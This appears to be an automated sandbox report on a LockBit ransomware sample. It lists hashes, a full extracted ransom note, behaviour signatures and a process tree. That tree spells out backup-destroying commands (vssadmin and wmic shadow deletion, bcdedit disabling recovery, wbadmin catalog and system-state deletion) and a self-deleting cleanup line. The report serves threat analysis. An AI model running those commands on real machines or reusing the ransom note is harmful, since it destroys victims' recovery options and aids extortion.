Overview

overview

10

Static

static

10

2024-06-12...it.exe

windows7-x64

10

2024-06-12...it.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    116s
  • max time network
    99s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-06-2024 00:45

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2024-06-12_adee08d1d86e361d08ced8adc8ab17dc_blackenergy_lockbit.exe

  • Size

    140KB

  • MD5

    adee08d1d86e361d08ced8adc8ab17dc

  • SHA1

    4ff5efcf97516cb1ef4c07fc04bab0d3b9fc1b6f

  • SHA256

    1d79d85948aa4c62b8367f233b088d9adb00915475a559f7e163e12edf9b9ccb

  • SHA512

    34dc8efffd83294103007003c4f95fcdf0cdb40d8f8036c6f7413bf8711a7e475beea1ca599103ceeddfb3c1f3e00985923233117f4684df3dcea02a2de04d10

  • SSDEEP

    3072:iU8E2JPpYg/GGo2l+mL3iUfqMqqD/KqEA8PC:QE2pHNo2wW3r5qqD/2T

Score
10/10
lockbitdefense_evasionevasionexecutionimpactpersistenceransomware

Malware Config

Extracted

Path

C:\Program Files\Common Files\microsoft shared\OFFICE16\Office Setup Controller\Restore-My-Files.txt

Family

lockbit

Ransom Note
All your important files are encrypted! There is only one way to get your files back: 1. Contact with us 2. Send us 1 any encrypted your file and your personal key 3. We will decrypt 1 file for test(maximum file size - 1 MB), its guarantee what we can decrypt your files 4. Pay 5. We send for you decryptor software We accept Bitcoin Attention! Do not rename encrypted files. Do not try to decrypt using third party software, it may cause permanent data loss. Decryption of your files with the help of third parties may cause increased price(they add their fee to our) Contact information: [email protected] Be sure to duplicate your message on the e-mail: [email protected] Your personal id: Y6XKFIo0P4S8XNCAzRFmPa2mDoopuvc0wcZLrVnCZ1c7blSLPc5eGKHG4zuKtdrR pYM+rJ6M5EI/Mea/79sgDV5Uer9gpYZxbsqlSTDYm7Y73rsOmBNVsCDD2VvHhCIf zEIKtdzN+igeSWcrTaU407al4bxb6605TndI7gpRJZatenPQUPuz+ABO2NnqxyrB AWRi/jCPYD1VbzkB173Lfj4GF8b4SO//sVEdaNl8Rlv092gJIVaC6Hss3+D0UJiP FH49Eaxw2vEw3Vcy4NzdJoUjtlWWjJ51l2+C6D/vAc+fUoLp16C25j7wNQ8yXnYu 4Qn2FGttb5BZdmg0wQwEvGmSIKaw3oZ2TGfBDXqSrlMUxYNDqJBLqipq8h4r6GeP hPCnWYDpEW84Hibfebovq9RY1W4Y2QKxTfzO2IEVnlIjnkAacQkaEQnQlXX0QiPC YgLxJrqexni98npqwSfXADd0l+4sHXbWwjbx7AGGPU7LkpNmrOttfsDvVO8rX76Y Ts27NaAUbpbr/7Zp/HutpHEnJYSMauBEt6RqgNf5oHefzjcCEwUkjPA2IuY4dLU0 JJFlzpypQjT3eNceAMfKhfb6j5kdbNKGiU3gKSTR70MhpeN4r8VqWds3Mf8E9yBr I4b+jguJUlYhgn8tHgqa2/rBaNAPggpVRibRE+l55rZAJACMm2BDDh+7bt+4iFJX sExFh8fOC/HKYvjYT/z6mOyXhompEK9CxHxMbUmxGwXEglbCGDeXMT5D5SK9oRos 4ShFn8Z8qk7exCE1qrMDHsEpSA5bRKTwlzfzT3CA4tYUOEsHlXoW2lbU35qFZJE+ t+5vJekUO4WPjilVFus64IdicQt4uu/rcWoDWEiv341dmsUqjs7uRC6fcfDSKfjw 7H/A7JZIA8CnBhrAZddwZRHLmVz45jezL1JzfUx3QFLqCgfBobcLFxuB83kBA8sB 7hzSntIoDv8L0HAR52GTP/orCjZxnZgqrsZLlspoWoVmTxtolZFWqjlsmB78H0pL GJDh4w0fihNuexIw50mzxdCgdocOm4jvbdIxnEXjcbAbkBc5xTSsPP7msT0WBI0a zKKuSiF6YBIzdvXUUfhcxQecZt/BJyu2tGp4k5VedrJqDPOlhh/sb4PcDmYajxFW v+6bGmiukOTCyi+h4Yo6dHMxm9E16TjU8bXbi/9d9VkR3qenqcSndX4Hfu/zKuZy en0XGMbEJ38jjOO3ChVtG0p7LZdkmh0LhVqf/NUI3P6j6ccnxc5yy7M6IOM6oQWZ 2kmq/v3fB/r2m7SyS3eIXvq95mxihcB6mEJeiF3RWxo+xC6CmK4q18dm4CtwmRH6 Y86EI3NswVqVh425etGo/AtqbQhwVbYpBetRuywc1sSvt4mK9vvYUEgF1O1YBJDT KyDxWySgzDs8wnYRjZWN2NYg5Dz9VQ9+z1F1d3mVCGyGBK0SeB+kM8I2OZeP6M39 F2BkJogvcJxJBp6w5meNnFcrOHJljbkO/2VXfhIINQZHOwJG25z8xvzbcZC6pdR7 SX9c+9TzEWdXFyd98ocbwAw0pSyYtheWUxHbX384Pum3msZCemXMLQv3sxgGWEya g+HnSgnDTDNeAcmreMlBvMG2n/n/xm4YapYb6TE63I9CJ7iQpspfgfv6+mldyWAg 6Xe0dBYxcPwzLNwxnseKbMWX5y6X9UuWYkgsOE59k44=

Signatures

  • Lockbit

    Ransomware family with multiple variants released since late 2019.

    ransomwarelockbit
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Detects command variations typically used by ransomware 1 IoCs
  • Modifies boot configuration data using bcdedit 1 TTPs 12 IoCs
    ransomwareevasion
  • Renames multiple (6438) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Deletes System State backups 3 TTPs 10 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 30 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 2 TTPs 6 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 2 IoCs
    evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2024-06-12_adee08d1d86e361d08ced8adc8ab17dc_blackenergy_lockbit.exe
    "C:\Users\Admin\AppData\Local\Temp\2024-06-12_adee08d1d86e361d08ced8adc8ab17dc_blackenergy_lockbit.exe"
    1⤵
    • Checks computer location settings
    • Adds Run key to start application
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:1948
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4972
      • C:\Windows\system32\vssadmin.exe
        vssadmin delete shadows /all /quiet
        3⤵
        • Interacts with shadow copies
        PID:3484
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic shadowcopy delete
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3236
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:1008
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} recoveryenabled no
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:5036
      • C:\Windows\system32\wbadmin.exe
        wbadmin delete catalog -quiet
        3⤵
        • Deletes backup catalog
        PID:2448
    • C:\Windows\SYSTEM32\vssadmin.exe
      vssadmin.exe Delete Shadows /All /Quiet
      2⤵
      • Interacts with shadow copies
      PID:4272
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit.exe /set {default} recoveryenabled No
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:5096
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:2252
    • C:\Windows\SYSTEM32\wbadmin.exe
      wbadmin DELETE SYSTEMSTATEBACKUP
      2⤵
      • Deletes System State backups
      • Drops file in Windows directory
      PID:6664
    • C:\Windows\SYSTEM32\wbadmin.exe
      wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
      2⤵
      • Deletes System State backups
      • Drops file in Windows directory
      PID:6868
    • C:\Windows\System32\Wbem\wmic.exe
      wmic.exe SHADOWCOPY /nointeractive
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:8440
    • C:\Windows\SYSTEM32\vssadmin.exe
      vssadmin.exe Delete Shadows /All /Quiet
      2⤵
      • Interacts with shadow copies
      PID:6664
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit.exe /set {default} recoveryenabled No
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:7548
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:9936
    • C:\Windows\SYSTEM32\wbadmin.exe
      wbadmin DELETE SYSTEMSTATEBACKUP
      2⤵
      • Deletes System State backups
      • Drops file in Windows directory
      PID:10152
    • C:\Windows\SYSTEM32\wbadmin.exe
      wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
      2⤵
      • Deletes System State backups
      • Drops file in Windows directory
      PID:7740
    • C:\Windows\System32\Wbem\wmic.exe
      wmic.exe SHADOWCOPY /nointeractive
      2⤵
        PID:6276
      • C:\Windows\SYSTEM32\vssadmin.exe
        vssadmin.exe Delete Shadows /All /Quiet
        2⤵
        • Interacts with shadow copies
        PID:5460
      • C:\Windows\SYSTEM32\bcdedit.exe
        bcdedit.exe /set {default} recoveryenabled No
        2⤵
        • Modifies boot configuration data using bcdedit
        PID:5956
      • C:\Windows\SYSTEM32\bcdedit.exe
        bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
        2⤵
        • Modifies boot configuration data using bcdedit
        PID:7732
      • C:\Windows\SYSTEM32\wbadmin.exe
        wbadmin DELETE SYSTEMSTATEBACKUP
        2⤵
        • Deletes System State backups
        • Drops file in Windows directory
        PID:5684
      • C:\Windows\SYSTEM32\wbadmin.exe
        wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
        2⤵
        • Deletes System State backups
        • Drops file in Windows directory
        PID:6452
      • C:\Windows\System32\Wbem\wmic.exe
        wmic.exe SHADOWCOPY /nointeractive
        2⤵
          PID:7512
        • C:\Windows\SYSTEM32\vssadmin.exe
          vssadmin.exe Delete Shadows /All /Quiet
          2⤵
          • Interacts with shadow copies
          PID:9416
        • C:\Windows\SYSTEM32\bcdedit.exe
          bcdedit.exe /set {default} recoveryenabled No
          2⤵
          • Modifies boot configuration data using bcdedit
          PID:7940
        • C:\Windows\SYSTEM32\bcdedit.exe
          bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
          2⤵
          • Modifies boot configuration data using bcdedit
          PID:6916
        • C:\Windows\SYSTEM32\wbadmin.exe
          wbadmin DELETE SYSTEMSTATEBACKUP
          2⤵
          • Deletes System State backups
          • Drops file in Windows directory
          PID:8004
        • C:\Windows\SYSTEM32\wbadmin.exe
          wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
          2⤵
          • Deletes System State backups
          • Drops file in Windows directory
          PID:8796
        • C:\Windows\System32\Wbem\wmic.exe
          wmic.exe SHADOWCOPY /nointeractive
          2⤵
            PID:8376
            • C:\Windows\System32\Conhost.exe
              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              3⤵
                PID:6916
            • C:\Windows\SYSTEM32\vssadmin.exe
              vssadmin.exe Delete Shadows /All /Quiet
              2⤵
              • Interacts with shadow copies
              PID:6000
            • C:\Windows\SYSTEM32\bcdedit.exe
              bcdedit.exe /set {default} recoveryenabled No
              2⤵
              • Modifies boot configuration data using bcdedit
              PID:5356
              • C:\Windows\System32\Conhost.exe
                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                3⤵
                  PID:8440
              • C:\Windows\SYSTEM32\bcdedit.exe
                bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:7784
              • C:\Windows\SYSTEM32\wbadmin.exe
                wbadmin DELETE SYSTEMSTATEBACKUP
                2⤵
                • Deletes System State backups
                • Drops file in Windows directory
                PID:9144
              • C:\Windows\SYSTEM32\wbadmin.exe
                wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
                2⤵
                • Deletes System State backups
                • Drops file in Windows directory
                PID:5476
              • C:\Windows\System32\Wbem\wmic.exe
                wmic.exe SHADOWCOPY /nointeractive
                2⤵
                  PID:7300
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 20 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\2024-06-12_adee08d1d86e361d08ced8adc8ab17dc_blackenergy_lockbit.exe"
                  2⤵
                    PID:7788
                    • C:\Windows\SysWOW64\PING.EXE
                      ping 1.1.1.1 -n 20
                      3⤵
                      • Runs ping.exe
                      PID:7144
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3204
                • C:\Windows\system32\wbengine.exe
                  "C:\Windows\system32\wbengine.exe"
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3264
                • C:\Windows\System32\vdsldr.exe
                  C:\Windows\System32\vdsldr.exe -Embedding
                  1⤵
                    PID:3644
                  • C:\Windows\System32\vds.exe
                    C:\Windows\System32\vds.exe
                    1⤵
                    • Checks SCSI registry key(s)
                    PID:5840

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Program Files\Common Files\microsoft shared\OFFICE16\Office Setup Controller\Restore-My-Files.txt
                    Filesize

                    2KB

                    MD5

                    f7e92990d286609cff0b4b08fc555654

                    SHA1

                    3707ae2338de6e36493ee5f1575561424ef1eebc

                    SHA256

                    4ab00047a5170addb5aec642dbddc26c32ca203f7e5e9b0e5103bc03d05756a9

                    SHA512

                    004c7f17e89e0139d91645f3cf900a0f6bf4688c33f55527e56bd0182ff9a8c7506986dfbd76af31ef85bc859c622c605f7c006be16a6f874997026ef74ccd02

                    Download Submit

                  • C:\Users\Admin\Desktop\resultlog10.dll
                    Filesize

                    5KB

                    MD5

                    e608d9022cb28f01c29c59423adfbe90

                    SHA1

                    faf905d7253ac9365817057160f2484ba0f3b92b

                    SHA256

                    c38d9fd9ceb56b7004f85422340a13f1ad5ecbd1fb70057ba682ffd8c9e95097

                    SHA512

                    9fd4b6da8e2fe429eb12d53bfcc07308f038afca77cf794a1e156468ef135af81a91aed72e1c7d53cb2d55713f0f3b24f01e1290adfa83a9e3219c40c0be57f5

                    Download Submit

                  • C:\Users\Admin\Desktop\resultlog10.dll
                    Filesize

                    5KB

                    MD5

                    0b8ba5dbc3213078534a66927778980d

                    SHA1

                    ce3e053a5fafc60c1df27d8bcc1c5aab810a59ce

                    SHA256

                    3861dca5c7ffff0a63899a20011a75ff738dabfa34d965ff4c8b5f2087623e5b

                    SHA512

                    0051d564750c6f7971cf314c5f4900c09a26b8fabd5ff5fa056adb3f8cbf7be192f70292e6588a7d3967b84b0c7cf3d13ccc49e5dbfe736d1af7f8c37925be39

                    Download Submit

                  • memory/1948-0-0x0000000000400000-0x0000000000428000-memory.dmp

                    Filesize

                    160KB

                    Download